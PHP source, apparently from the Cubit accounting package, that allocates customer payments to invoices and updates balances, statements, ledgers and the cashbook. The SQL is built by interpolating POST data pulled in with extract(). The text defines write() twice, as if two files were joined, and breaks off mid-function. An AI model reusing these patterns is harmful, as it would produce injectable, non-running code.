function write($_POST)
{
    extract($_POST);
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($out, "float", 1, 40, "Invalid out amount.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    $v->isOk($amt, "float", 1, 40, "Invalid amount.");
    $v->isOk($cusid, "num", 1, 40, "Invalid customer number.");
    $v->isOk($out1, "float", 0, 40, "Invalid paid amount(currant).");
    $v->isOk($out2, "float", 0, 40, "Invalid paid amount(30).");
    $v->isOk($out3, "float", 0, 40, "Invalid paid amount(60).");
    $v->isOk($out4, "float", 0, 40, "Invalid paid amount(90).");
    $v->isOk($out5, "float", 0, 40, "Invalid paid amount(120).");
    if (isset($invids)) {
        foreach ($invids as $key => $value) {
            $v->isOk($invids[$key], "num", 1, 50, "Invalid Invoice No.");
            $v->isOk($paidamt[$key], "float", 1, 40, "Invalid amount to be paid.");
        }
    }
    if ($v->isError()) {
        $confirm = $v->genErrors();
        return $confirm . confirm($_POST);
    }
    /* get bank account id of cash on hand account IF this entry is cash */
    if (($bank_acc = getbankaccid($bankid)) === false or $bankid == "0") {
        //old function didnt check if cash is selected ... if(($bank_acc = getbankaccid($bankid)) === false) {
        $sql = "SELECT accid FROM core.accounts WHERE accname='Cash on Hand'";
        $rslt = db_exec($sql);
        if (pg_num_rows($rslt) < 1) {
            if ($bankid == 0) {
                return "There is no 'Cash on Hand' account, there was one, but\n\t\t\t\t\t\t**s not there now, you must have deleted it, if you want\n\t\t\t\t\t\tto use cash functionality please create a 'Cash on Hand' account.";
            } else {
                return "Invalid bank acc.";
            }
        }
        $bank_acc = pg_fetch_result($rslt, 0);
    }
    $cus = qryCustomer($cusid, "cusnum, deptid, cusname, surname");
    $dept = qryDepartment($cus["deptid"], "debtacc");
    $refnum = getrefnum();
    pglib_transaction("BEGIN") or errDie("Unable to start a database transaction.", SELF);
    # date format
    $sdate = explode("-", $date);
    $sdate = $sdate[2] . "-" . $sdate[1] . "-" . $sdate[0];
    $cheqnum = 0 + $cheqnum;
    $pay = "";
    $accdate = $sdate;
    /* Paid invoices */
    $invidsers = "";
    $rinvids = "";
    $amounts = "";
    $invprds = "";
    $rages = "";
    /* OPTION 1 : AUTO ALLOCATE (write) */
    if ($all == 0) {
        # update the customer (make balance less)
        $sql = "UPDATE cubit.customers SET balance = (balance - '{$amt}'::numeric(13,2))\n\t\t\t\tWHERE cusnum = '{$cus['cusnum']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        $reverse_allocation_dates = "";
        $reverse_allocation_amounts = "";
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                $ii = $invids[$key];
                /* OPTION 1: STOCK INVOICES */
                if (!isset($itype[$ii]) && !isset($ptype[$ii])) {
                    $sql = "\n\t\t\t\t\t\tSELECT prd,invnum,odate \n\t\t\t\t\t\tFROM cubit.invoices\n\t\t\t\t\t\tWHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class='err'>Invalid Invoice Number.</li>";
                    }
                    $inv = pg_fetch_array($invRslt);
                    $inv['invnum'] += 0;
                    // reduce invoice balance
                    $sql = "UPDATE cubit.invoices\n\t\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(13,2))\n\t\t\t\t\t\t\tWHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "UPDATE cubit.open_stmnt\n\t\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(13,2))\n\t\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    # record the payment on the statement
                    $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\tamount, date, \n\t\t\t\t\t\t\ttype, div, allocation_date\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}','{$inv['invnum']}', \n\t\t\t\t\t\t\t'" . ($paidamt[$key] - $paidamt[$key] * 2) . "', '{$sdate}', \n\t\t\t\t\t\t\t'Payment for Invoice No. {$inv['invnum']}', '" . USER_DIV . "', '{$inv['odate']}'\n\t\t\t\t\t\t)";
                    if (!(isset($bulk_pay) and strlen($bulk_pay) > 0)) {
                        $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    } else {
                        $reverse_allocation_dates .= "{$inv['odate']}|";
                        $reverse_allocation_amounts .= sprint($paidamt[$key] - $paidamt[$key] * 2) . "|";
                    }
                    custledger($cus['cusnum'], $bank_acc, $sdate, $inv['invnum'], "Payment for Invoice No. {$inv['invnum']}", $paidamt[$key], "c");
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    if ($inv['prd'] == "0") {
                        $inv['prd'] = PRD_DB;
                    }
                    $invprds .= "|{$inv['prd']}";
                    $rages .= "|0";
                    $invidsers .= " - {$inv['invnum']}";
                    /* OPTION 1: NONS STOCK INVOICES */
                } else {
                    if (!isset($ptype[$ii])) {
                        $sql = "\n\t\t\t\t\t\tSELECT prd,invnum,descrip,age,odate \n\t\t\t\t\t\tFROM cubit.nons_invoices \n\t\t\t\t\t\tWHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                        $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                        if (pg_numrows($invRslt) < 1) {
                            return "<li class='err'>Invalid Invoice Number.";
                        }
                        $inv = pg_fetch_array($invRslt);
                        $inv['invnum'] += 0;
                        # reduce the money that has been paid
                        $sql = "UPDATE cubit.nons_invoices\n\t\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(13,2))\n\t\t\t\t\t\t\tWHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                        $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                        $sql = "UPDATE cubit.open_stmnt\n\t\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(13,2))\n\t\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                        $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                        # record the payment on the statement
                        $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\tamount, date, \n\t\t\t\t\t\t\ttype, \n\t\t\t\t\t\t\tdiv, allocation_date\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', \n\t\t\t\t\t\t\t'" . ($paidamt[$key] - $paidamt[$key] * 2) . "', '{$sdate}', \n\t\t\t\t\t\t\t'Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}', \n\t\t\t\t\t\t\t'" . USER_DIV . "', '{$inv['odate']}'\n\t\t\t\t\t\t)";
                        if (!(isset($bulk_pay) and strlen($bulk_pay) > 0)) {
                            $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                        } else {
                            $reverse_allocation_dates .= "{$inv['odate']}|";
                            $reverse_allocation_amounts .= sprint($paidamt[$key] - $paidamt[$key] * 2) . "|";
                        }
                        custledger($cus['cusnum'], $bank_acc, $sdate, $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}", $paidamt[$key], "c");
                        //recordCT($paidamt[$key], $cus['cusnum'],$inv['age'],$accdate);
                        $rinvids .= "|{$invids[$key]}";
                        $amounts .= "|{$paidamt[$key]}";
                        $invprds .= "|0";
                        $rages .= "|{$inv['age']}";
                        $invidsers .= " - {$inv['invnum']}";
                    } else {
                        /* pos invoices */
                        $sqls = array();
                        for ($i = 1; $i <= 12; ++$i) {
                            $sqls[] = "\n\t\t\t\t\t\t\tSELECT '{$i}' AS prd,invid,invnum,odate \n\t\t\t\t\t\t\tFROM \"{$i}\".pinvoices \n\t\t\t\t\t\t\tWHERE invid='{$invids[$key]}' AND div='" . USER_DIV . "'";
                        }
                        $sql = implode(" UNION ", $sqls);
                        $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                        if (pg_numrows($invRslt) < 1) {
                            return "<li class='err'>Invalid Invoice Number.";
                        }
                        $inv = pg_fetch_array($invRslt);
                        // reduce the invoice balance
                        $sql = "UPDATE \"{$inv['prd']}\".pinvoices\n\t\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(13,2))\n\t\t\t\t\t\t\tWHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                        $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                        $sql = "UPDATE cubit.open_stmnt\n\t\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(13,2))\n\t\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                        $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                        # record the payment on the statement
                        $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\tamount, date, \n\t\t\t\t\t\t\ttype, div, \n\t\t\t\t\t\t\tallocation_date\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', \n\t\t\t\t\t\t\t'" . ($paidamt[$key] - $paidamt[$key] * 2) . "', '{$sdate}', \n\t\t\t\t\t\t\t'Payment for Non Stock Invoice No. {$inv['invnum']}', '" . USER_DIV . "', \n\t\t\t\t\t\t\t'{$inv['odate']}'\n\t\t\t\t\t\t)";
                        if (!(isset($bulk_pay) and strlen($bulk_pay) > 0)) {
                            $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                        } else {
                            $reverse_allocation_dates .= "{$inv['odate']}|";
                            $reverse_allocation_amounts .= sprint($paidamt[$key] - $paidamt[$key] * 2) . "|";
                        }
                        custledger($cus['cusnum'], $bank_acc, $sdate, $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']}", $paidamt[$key], "c");
                        //recordCT($paidamt[$key], $cus['cusnum'],0,$accdate);
                        $rinvids .= "|{$invids[$key]}";
                        $amounts .= "|{$paidamt[$key]}";
                        $invprds .= "|{$inv['prd']}";
                        $rages .= "|0";
                        $invidsers .= " - {$inv['invnum']}";
                    }
                }
            }
            #record the total for the statement if bulk is selected
            if (isset($bulk_pay) and strlen($bulk_pay) > 0) {
                $arrtotal = sprint(array_sum($paidamt));
                $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\tamount, date, \n\t\t\t\t\t\t\ttype, div, \n\t\t\t\t\t\t\tallocation_date, reverse_allocation_dates, reverse_allocation_amounts\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', \n\t\t\t\t\t\t\t'" . ($arrtotal - $arrtotal * 2) . "', '{$sdate}', \n\t\t\t\t\t\t\t'Payment Received (Ref:{$reference})', '" . USER_DIV . "', \n\t\t\t\t\t\t\t'1500-01-01', '{$reverse_allocation_dates}', '{$reverse_allocation_amounts}'\n\t\t\t\t\t\t)";
                $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
            }
        }
        $cols = grp(m("bankid", $bankid), m("trantype", "deposit"), m("date", $sdate), m("name", "{$cus['cusname']} {$cus['surname']}"), m("descript", "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}"), m("cheqnum", $cheqnum), m("amount", $amt), m("banked", "no"), m("accinv", $dept["debtacc"]), m("cusnum", $cus["cusnum"]), m("rinvids", $rinvids), m("amounts", $amounts), m("invprds", $invprds), m("rages", $rages), m("reference", $reference), m("div", USER_DIV));
        $dbobj = new dbUpdate("cashbook", "cubit", $cols);
        $dbobj->run(DB_INSERT);
        $dbobj->free();
        /*
        $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript,
        			cheqnum, amount, banked, accinv, cusnum, rinvids, amounts,
        			invprds, rages, reference, div)
        		VALUES ('$bankid', 'deposit', '$sdate', '$cus[cusname] $cus[surname]',
        			'',
        			'$cheqnum', '$amt', 'no', '$dept[debtacc]', '$cus[cusnum]',
        			'$rinvids', '$amounts', '$invprds', '$rages', '$reference',
        			'".USER_DIV."')";
        $Rslt = db_exec ($sql) or errDie ("Unable to add bank payment to database.",SELF);
        */
        writetrans($bank_acc, $dept['debtacc'], $accdate, $refnum, $amt, "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}");
        db_conn('cubit');
        if ($out > 0) {
            /* START OPEN ITEMS */
            $openstmnt = new dbSelect("open_stmnt", "cubit", grp(m("where", "balance>0 AND cusnum='{$cusid}'"), m("order", "date")));
            $openstmnt->run();
            $open_out = $out;
            $i = 0;
            $ox = "";
            while ($od = $openstmnt->fetch_array()) {
                if ($open_out == 0) {
                    continue;
                }
                $oid = $od['id'];
                if ($open_out >= $od['balance']) {
                    $open_amount[$oid] = $od['balance'];
                    $open_out = sprint($open_out - $od['balance']);
                    $ox .= "\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><input type='hidden' size='20' name='open[{$oid}]' value='{$oid}'>{$od['type']}</td>\n\t\t\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td>\n\t\t\t\t\t\t\t\t<td>{$od['date']}</td>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='open_amount[{$oid}]' value='{$open_amount[$oid]}'>" . CUR . " {$open_amount[$oid]}</td>\n\t\t\t\t\t\t\t</tr>";
                    $Sl = "UPDATE cubit.open_stmnt SET balance=balance-'{$open_amount[$oid]}' WHERE id='{$oid}'";
                    $Ri = db_exec($Sl) or errDie("Unable to update statement.");
                } elseif ($open_out < $od['balance']) {
                    $open_amount[$oid] = $open_out;
                    $open_out = 0;
                    $ox .= "\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><input type='hidden' size='20' name='open[{$oid}]' value='{$od['id']}'>{$od['type']}</td>\n\t\t\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td>\n\t\t\t\t\t\t\t\t<td>{$od['date']}</td>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='open_amount[{$oid}]' value='{$open_amount[$oid]}'>" . CUR . " {$open_amount[$oid]}</td>\n\t\t\t\t\t\t\t</tr>";
                    $Sl = "UPDATE cubit.open_stmnt SET balance=balance-'{$open_amount[$oid]}' WHERE id='{$oid}'";
                    $Ri = db_exec($Sl) or errDie("Unable to update statement.");
                }
                $i++;
            }
            if (open()) {
                $bout = $out;
                $out = $open_out;
                if ($out > 0) {
                    $sql = "INSERT INTO cubit.open_stmnt(cusnum, invid, amount, balance, date, type, st, div) VALUES('{$cus['cusnum']}', '0', '-{$out}', '-{$out}', '{$sdate}', 'Payment Received', 'n', '" . USER_DIV . "')";
                    $stmntRslt = db_exec($sql) or errDie("Unable to Insert statement record in Cubit.", SELF);
                    //$confirm .="<tr class='bg-even'><td colspan=4><b>A general transaction will credit the client's account with ".CUR." $out </b></td></tr>";
                }
                $out = $bout;
            } else {
                //$confirm .="<tr class='bg-even'><td colspan=4><b>A general transaction will credit the client's account with ".CUR." $out </b></td></tr>";}
            }
        }
        if ($out > 0) {
            recordCT($out, $cus['cusnum'], 0, $accdate);
            $cols = grp(m("cusnum", $cus["cusnum"]), m("invid", 0), m("amount", -$out), m("date", $sdate), m("type", "Payment Received"), m("div", USER_DIV), m("allocation_date", $accdate));
            $dbobj = new dbUpdate("stmnt", "cubit", $cols);
            $dbobj->run(DB_INSERT);
            $dbobj->free();
            custledger($cus['cusnum'], $bank_acc, $sdate, "PAYMENT", "Payment received.", $out, "c");
        }
    }
    /* start moving invoices */
    // move invoices that are fully paid
    $sql = "SELECT * FROM cubit.invoices WHERE balance=0 AND printed = 'y' AND done = 'y' AND div = '" . USER_DIV . "'";
    $invbRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
    while ($x = pg_fetch_array($invbRslt)) {
        if (($prd = $x['prd']) == "0") {
            $prd = PRD_DB;
        }
        // move invoice
        $cols = grp(m("invid", $x["invid"]), m("invnum", $x["invnum"]), m("deptid", $x["deptid"]), m("cusnum", $x["cusnum"]), m("deptname", $x["deptname"]), m("cusacc", $x["cusacc"]), m("cusname", $x["cusname"]), m("surname", $x["surname"]), m("cusaddr", $x["cusaddr"]), m("cusvatno", $x["cusvatno"]), m("cordno", $x["cordno"]), m("ordno", $x["ordno"]), m("chrgvat", $x["chrgvat"]), m("terms", $x["terms"]), m("traddisc", $x["traddisc"]), m("salespn", $x["salespn"]), m("odate", $x["odate"]), m("delchrg", $x["delchrg"]), m("subtot", $x["subtot"]), m("vat", $x["vat"]), m("total", $x["total"]), m("age", $x["age"]), m("comm", $x["comm"]), m("discount", $x["discount"]), m("delivery", $x["delivery"]), m("docref", $x["docref"]), m("prd", $x["prd"]), m("delvat", $x["delvat"]), m("balance", 0), m("printed", "y"), m("done", "y"), m("username", USER_NAME), m("div", USER_DIV));
        $dbobj = new dbUpdate("invoices", $prd, $cols);
        $dbobj->run(DB_INSERT);
        $dbobj->free();
        // record movement
        $cols = grp(m("invtype", "inv"), m("invnum", $x["invnum"]), m("prd", $x["prd"]), m("docref", $x["docref"]), m("div", USER_DIV));
        $dbobj->setTable("movinv", "cubit");
        $dbobj->setOpt($cols);
        $dbobj->run();
        $dbobj->free();
        // move invoice items
        $inv_items = new dbSelect("inv_items", "cubit", grp(m("where", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)))));
        $inv_items->run();
        while ($xi = $inv_items->fetch_array()) {
            $xi['vatcode'] += 0;
            $xi['account'] += 0;
            $xi['del'] += 0;
            $cols = grp(m("invid", $x["invid"]), m("whid", $xi["whid"]), m("stkid", $xi["stkid"]), m("qty", $xi["qty"]), m("unitcost", $xi["unitcost"]), m("amt", $xi["amt"]), m("disc", $xi["disc"]), m("discp", $xi["discp"]), m("vatcode", $xi["vatcode"]), m("account", $xi["account"]), m("description", $xi["description"]), m("del", $xi["del"]), m("noted", $xi["noted"]), m("serno", $xi["serno"]), m("div", USER_DIV));
            $dbobj->setTable("inv_items", $prd);
            $dbobj->setOpt($cols);
            $dbobj->run();
            $dbobj->free();
        }
        /* remove invoice from cubit schema */
        $dbobj = new dbDelete("invoices", "cubit", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)));
        $dbobj->run();
        $dbobj->setTable("inv_items", "cubit");
        $dbobj->run();
    }
    pglib_transaction("COMMIT") or errDie("Unable to commit a database transaction.", SELF);
    $cashbook_id = pglib_lastid("cashbook", "cashid");
    if (isset($print_recpt) and $print_recpt == "yes") {
        $showreceipt = "<script>printer ('bank/bank-recpt-inv-print.php?recid={$cashbook_id}');</script>";
    } else {
        $showreceipt = "";
    }
    // status report
    $write = "\n\t\t{$showreceipt}\n\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t<tr>\n\t\t\t\t<th>Bank Receipt</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Bank Receipt added to cash book.</td>\n\t\t\t</tr>\n\t\t</table>";
    $OUTPUT = "\n\t\t<center>\n\t\t<table width='90%'>\n\t\t\t<tr valign='top'>\n\t\t\t\t<td width='50%'>{$write}</td>\n\t\t\t\t<td align='center'>" . mkQuickLinks(ql("bank-pay-add.php", "Add Bank Payment"), ql("bank-recpt-add.php", "Add Bank Receipt"), ql("bank-recpt-inv.php", "Add Customer Payment"), ql("cashbook-view.php", "View Cash Book")) . "\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t</table>";
    return $OUTPUT;
}
#
#
#
# get settings
require "../settings.php";
require "../core-settings.php";
require "../libs/ext.lib.php";
if (isset($_GET["supid"])) {
    $OUTPUT = sel_bank($_GET["supid"]);
} elseif (isset($_POST["key"])) {
    switch ($_POST["key"]) {
        case "method":
            $OUTPUT = method($_POST);
            break;
        case "alloc":
            $OUTPUT = alloc($_POST);
            break;
        case "confirm":
            $OUTPUT = confirm($_POST);
            break;
        case "write":
            $OUTPUT = write($_POST);
            break;
        default:
            $OUTPUT = sel_sup();
    }
} else {
    # Display default output
    $OUTPUT = sel_sup();
}
# get templete
function write($_POST)
{
    extract($_POST);
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    # CHECK IF THIS DATE IS IN THE BLOCKED RANGE
    $blocked_date_from = getCSetting("BLOCKED_FROM");
    $blocked_date_to = getCSetting("BLOCKED_TO");
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($rec_amount, "num", 1, 5, "Invalid amount of entries.");
    for ($t = 0; $t < $rec_amount; $t++) {
        if (!isset($descript[$t]) or !isset($reference[$t]) or !isset($setamt[$t]) or empty($descript[$t]) or empty($reference[$t]) or empty($setamt[$t])) {
            continue;
        }
        $v->isOk($bankid[$t], "num", 1, 30, "Invalid Bank Account.");
        $v->isOk($date[$t], "date", 1, 14, "Invalid Date.");
        $v->isOk($out[$t], "float", 1, 40, "Invalid out amount.");
        $v->isOk($descript[$t], "string", 0, 255, "Invalid Description.");
        $v->isOk($reference[$t], "string", 0, 50, "Invalid Reference Name/Number.");
        $v->isOk($cheqnum[$t], "num", 0, 30, "Invalid Cheque number.");
        $v->isOk($amt[$t], "float", 1, 40, "Invalid amount.");
        $v->isOk($setamt[$t], "float", 1, 40, "Invalid Settlement amount.");
        $v->isOk($setvat[$t], "string", 1, 10, "Invalid Settlement VAT Option.");
        $v->isOk($setvatcode[$t], "string", 1, 40, "Invalid Settlement VAT code");
        $v->isOk($cusid[$t], "num", 1, 40, "Invalid customer number.");
        $v->isOk($out1[$t], "float", 0, 40, "Invalid paid amount(currant).");
        $v->isOk($out2[$t], "float", 0, 40, "Invalid paid amount(30).");
        $v->isOk($out3[$t], "float", 0, 40, "Invalid paid amount(60).");
        $v->isOk($out4[$t], "float", 0, 40, "Invalid paid amount(90).");
        $v->isOk($out5[$t], "float", 0, 40, "Invalid paid amount(120).");
        if (isset($invids[$t])) {
            foreach ($invids[$t] as $key => $value) {
                $v->isOk($invids[$t][$key], "num", 1, 50, "Invalid Invoice No.");
                $v->isOk($paidamt[$t][$key], "float", 1, 40, "Invalid amount to be paid.");
            }
        }
        if (strtotime($date[$t]) >= strtotime($blocked_date_from) and strtotime($date[$t]) <= strtotime($blocked_date_to) and !user_is_admin(USER_ID)) {
            return "<li class='err'>Period Range Is Blocked. Only an administrator can process entries within this period.</li>";
        }
    }
    if ($v->isError()) {
        $confirm = $v->genErrors();
        return $confirm . confirm($_POST);
    }
    for ($t = 0; $t < $rec_amount; $t++) {
        if (!isset($descript[$t]) or !isset($reference[$t]) or !isset($setamt[$t]) or empty($descript[$t]) or empty($reference[$t]) or empty($setamt[$t])) {
            continue;
        }
        /* get bank account id */
        if (($bank_acc[$t] = getbankaccid($bankid[$t])) === false) {
            $sql = "SELECT accid FROM core.accounts WHERE accname='Cash on Hand'";
            $rslt = db_exec($sql);
            if (pg_num_rows($rslt) < 1) {
                if ($bankid[$t] == 0) {
                    return "There is no 'Cash on Hand' account, there was one, but\n\t\t\t\t\t\t**s not there now, you mudst have deleted it, if you want\n\t\t\t\t\t\tto use cash functionality please create a 'Cash on Hand' account.";
                } else {
                    return "Invalid bank acc.";
                }
            }
            $bank_acc[$t] = pg_fetch_result($rslt, 0);
        }
        $cus = qryCustomer($cusid[$t], "cusnum, deptid, cusname, surname");
        $dept = qryDepartment($cus["deptid"], "debtacc");
        $refnum = getrefnum();
        pglib_transaction("BEGIN") or errDie("Unable to start a database transaction.", SELF);
        # date format
        $sdate[$t] = explode("-", $date[$t]);
        $sdate[$t] = $sdate[$t][2] . "-" . $sdate[$t][1] . "-" . $sdate[$t][0];
        $cheqnum[$t] = 0 + $cheqnum[$t];
        $pay = "";
        $accdate[$t] = $sdate[$t];
        /* Paid invoices */
        $invidsers = "";
        $rinvids = "";
        $amounts = "";
        $invprds = "";
        $rages = "";
        /* OPTION 1 : AUTO ALLOCATE (write) */
        if ($all == 0) {
            # update the customer (make balance less)
            $sql = "UPDATE cubit.customers SET balance = (balance - '{$amt[$t]}'::numeric(13,2))\n\t\t\t\t\tWHERE cusnum = '{$cus['cusnum']}' AND div = '" . USER_DIV . "'";
            $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
            if (isset($invids[$t])) {
                foreach ($invids[$t] as $key => $value) {
                    $ii = $invids[$t][$key];
                    $pp = $paidamt[$t][$key];
                    /* OPTION 1: STOCK INVOICES */
                    if (!isset($itype[$t][$ii]) && !isset($ptype[$t][$ii])) {
                        $sql = "SELECT prd,invnum,odate FROM cubit.invoices\n\t\t\t\t\t\t\t\tWHERE invid ='{$ii}' AND div = '" . USER_DIV . "'";
                        $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                        if (pg_numrows($invRslt) < 1) {
                            return "<li class='err'>Invalid Invoice Number.</li>";
                        }
                        $inv = pg_fetch_array($invRslt);
                        $inv['invnum'] += 0;
                        // reduce invoice balance
                        $sql = "UPDATE cubit.invoices \n\t\t\t\t\t\t\t\tSET balance = (balance - {$pp}::numeric(13,2))\n\t\t\t\t\t\t\t\tWHERE invid = '{$ii}' AND div = '" . USER_DIV . "'";
                        $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                        $sql = "UPDATE cubit.open_stmnt \n\t\t\t\t\t\t\t\tSET balance = (balance - {$pp}::numeric(13,2))\n\t\t\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                        $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                        # record the payment on the statement
                        $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, amount, date, \n\t\t\t\t\t\t\t\ttype, div, allocation_date\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', '" . ($pp - $pp * 2) . "', '{$sdate[$t]}', \n\t\t\t\t\t\t\t\t'Payment for Invoice No. {$inv['invnum']}', '" . USER_DIV . "', '{$inv['odate']}'\n\t\t\t\t\t\t\t)";
                        $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                        custledger($cus['cusnum'], $bank_acc[$t], $sdate[$t], $inv['invnum'], "Payment for Invoice No. {$inv['invnum']}", $paidamt[$t][$key], "c");
                        $rinvids .= "|{$invids[$t]}[{$key}]";
                        $amounts .= "|{$pp}";
                        if ($inv['prd'] == "0") {
                            $inv['prd'] = PRD_DB;
                        }
                        $invprds .= "|{$inv['prd']}";
                        $rages .= "|0";
                        $invidsers .= " - {$inv['invnum']}";
                        /* OPTION 1: NONS STOCK INVOICES */
                    } else {
                        if (!isset($ptype[$t][$ii])) {
                            $sql = "SELECT prd,invnum,descrip,age,odate FROM cubit.nons_invoices\n\t\t\t\t\t\t\t\tWHERE invid ='{$ii}' AND div = '" . USER_DIV . "'";
                            $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                            if (pg_numrows($invRslt) < 1) {
                                return "<li class='err'>Invalid Invoice Number.</li>";
                            }
                            $inv = pg_fetch_array($invRslt);
                            $inv['invnum'] += 0;
                            # reduce the money that has been paid
                            $sql = "UPDATE cubit.nons_invoices\n\t\t\t\t\t\t\t\tSET balance = (balance - {$pp}::numeric(13,2))\n\t\t\t\t\t\t\t\tWHERE invid = '{$ii}' AND div = '" . USER_DIV . "'";
                            $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                            $sql = "UPDATE cubit.open_stmnt\n\t\t\t\t\t\t\t\tSET balance = (balance - {$pp}::numeric(13,2))\n\t\t\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                            $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                            # record the payment on the statement
                            $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, amount, date, \n\t\t\t\t\t\t\t\ttype, div, allocation_date\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', '" . ($pp - $pp * 2) . "', '{$sdate[$t]}', \n\t\t\t\t\t\t\t\t'Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}', '" . USER_DIV . "', '{$inv['odate']}'\n\t\t\t\t\t\t\t)";
                            $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
